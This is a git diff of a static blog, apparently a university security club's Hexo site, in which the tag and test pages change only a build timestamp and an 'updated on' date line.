diff --git a/tags/Writeup/index.html b/tags/Writeup/index.html index 0e901aa..ca5f1af 100644 --- a/tags/Writeup/index.html +++ b/tags/Writeup/index.html @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git "a/tags/\345\215\217\344\274\232\346\235\202\350\260\210/index.html" "b/tags/\345\215\217\344\274\232\346\235\202\350\260\210/index.html" index 0c9d678..933c294 100644 --- "a/tags/\345\215\217\344\274\232\346\235\202\350\260\210/index.html" +++ "b/tags/\345\215\217\344\274\232\346\235\202\350\260\210/index.html" @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git "a/tags/\345\255\246\346\234\257\347\253\236\350\265\233/index.html" "b/tags/\345\255\246\346\234\257\347\253\236\350\265\233/index.html" index 84d7fb1..5fca411 100644 --- "a/tags/\345\255\246\346\234\257\347\253\236\350\265\233/index.html" +++ "b/tags/\345\255\246\346\234\257\347\253\236\350\265\233/index.html" @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git "a/tags/\345\255\246\346\234\257\347\253\236\350\265\233/page/2/index.html" "b/tags/\345\255\246\346\234\257\347\253\236\350\265\233/page/2/index.html" index 3e79904..a6bbdbe 100644 --- "a/tags/\345\255\246\346\234\257\347\253\236\350\265\233/page/2/index.html" +++ "b/tags/\345\255\246\346\234\257\347\253\236\350\265\233/page/2/index.html" @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git "a/tags/\346\217\220\351\227\256\347\232\204\346\231\272\346\205\247/index.html" "b/tags/\346\217\220\351\227\256\347\232\204\346\231\272\346\205\247/index.html" index 0fab5ec..40bbe7b 100644 --- "a/tags/\346\217\220\351\227\256\347\232\204\346\231\272\346\205\247/index.html" +++ "b/tags/\346\217\220\351\227\256\347\232\204\346\231\272\346\205\247/index.html" @@ -1,7 +1,7 @@ - + @@ -2276,7 +2276,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', diff --git a/test/index.html b/test/index.html index fea3ca2..fd0215a 100644 --- a/test/index.html +++ b/test/index.html @@ -1,7 +1,7 @@ - + @@ -48,7 +48,7 @@ - + @@ -2278,7 +2278,7 @@ root: '/', debug: false, default: {"avatar":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/avatar/round/3442075.svg","link":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/link/8f277b4ee0ecd.svg","cover":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/cover/76b86c0226ffd.svg","image":"https://unpkg.com/volantis-static@0.0.1660614606622/media/placeholder/image/2659360.svg"}, - lastupdate: new Date(1705947614601), + lastupdate: new Date(1705978725587), cdn: { izitoast_css: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/css/iziToast.min.css', izitoast_js: 'https://cdnjs.cloudflare.com/ajax/libs/izitoast/1.4.0/js/iziToast.min.js', @@ -2756,7 +2756,7 @@

-
+

更新于:2024年1月23日

@@ -3898,7 +3898,7 @@

XMUTSEC

- +